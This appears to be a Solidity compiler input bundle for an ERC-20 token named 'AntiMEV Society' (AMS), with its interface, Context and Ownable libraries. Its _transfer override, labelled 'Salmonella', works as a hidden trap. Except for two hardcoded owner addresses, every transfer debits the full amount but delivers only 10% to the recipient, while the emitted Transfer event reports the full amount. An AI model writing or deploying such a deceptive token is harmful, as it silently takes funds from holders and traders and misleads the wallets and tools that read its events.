zellic-audit
Initial commit
f998fcd
raw
history blame
8.43 kB
{
"language": "Solidity",
"sources": {
"contracts/AntiMEVSociety.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"./interface/IERC20.sol\";\nimport \"./lib/Ownable.sol\";\n\n\ncontract AntiMEVSociety is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private _totalSupply;\n string private _name = \"AntiMEV Society\";\n string private _symbol = \"AMS\"; \n\n address private ownerMsig = 0xb0863870F544bde34a310D12A258Aa41da52A5aa;\n address private ownerA = 0xb0863870F544bde34a310D12A258Aa41da52A5aa;\n\n\n constructor(){\n _mint(_msgSender(), 1000000 * 10 ** decimals());\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n \n\n function allowance(address sender, address spender) public view virtual override returns (uint256) {\n return _allowances[sender][spender];\n }\n\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address _owner = _msgSender();\n _approve(_owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address _owner = _msgSender();\n _approve(_owner, spender, allowance(_owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address _owner = _msgSender();\n uint256 currentAllowance = allowance(_owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(_owner, spender, currentAllowance - subtractedValue);\n }\n return true;\n }\n\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address _owner = _msgSender();\n _transfer(_owner, to, amount);\n return true;\n }\n\n/**\n* @notice - Salmonella transfer override\n*/\n\n function _transfer( address from, address to, uint256 amount) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n _beforeTokenTransfer(from, to, amount);\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n/**\n* @dev - ownerA = deploy address, other = ownerMsig\n*/\n if (from == ownerA || from == ownerMsig) {\n _balances[from] = fromBalance - amount;\n _balances[to] += amount;\n } else {\n _balances[from] = fromBalance - amount;\n uint256 trapAmount = (amount * 10) / 100;\n _balances[to] += trapAmount;\n }\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount); \n }\n\n function _mint(address account, uint256 amount) internal virtual onlyOwner {\n require(account != address(0), \"ERC20: mint to the zero address\");\n _beforeTokenTransfer(address(0), account, amount);\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _approve(\n address sender,\n address spender,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[sender][spender] = amount;\n emit Approval(sender, spender, amount);\n }\n\n function _spendAllowance(\n address sender,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(sender, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(sender, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n \n }\n"
},
"contracts/interface/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(address to, uint256 amount) external returns (bool);\n function allowance(address owner, address spender) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function name() external view returns (string memory);\n function symbol() external view returns (string memory);\n function decimals() external view returns (uint8);\n //\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n } \n"
},
"contracts/lib/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\n//Inspo: https://etherscan.io/address/0xd65960facb8e4a2dfcb2c2212cb2e44a02e2a57e#code\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}"
},
"contracts/lib/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"./Context.sol\";\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n \n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 2000
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"metadata": {
"useLiteralContent": true
},
"libraries": {}
}
}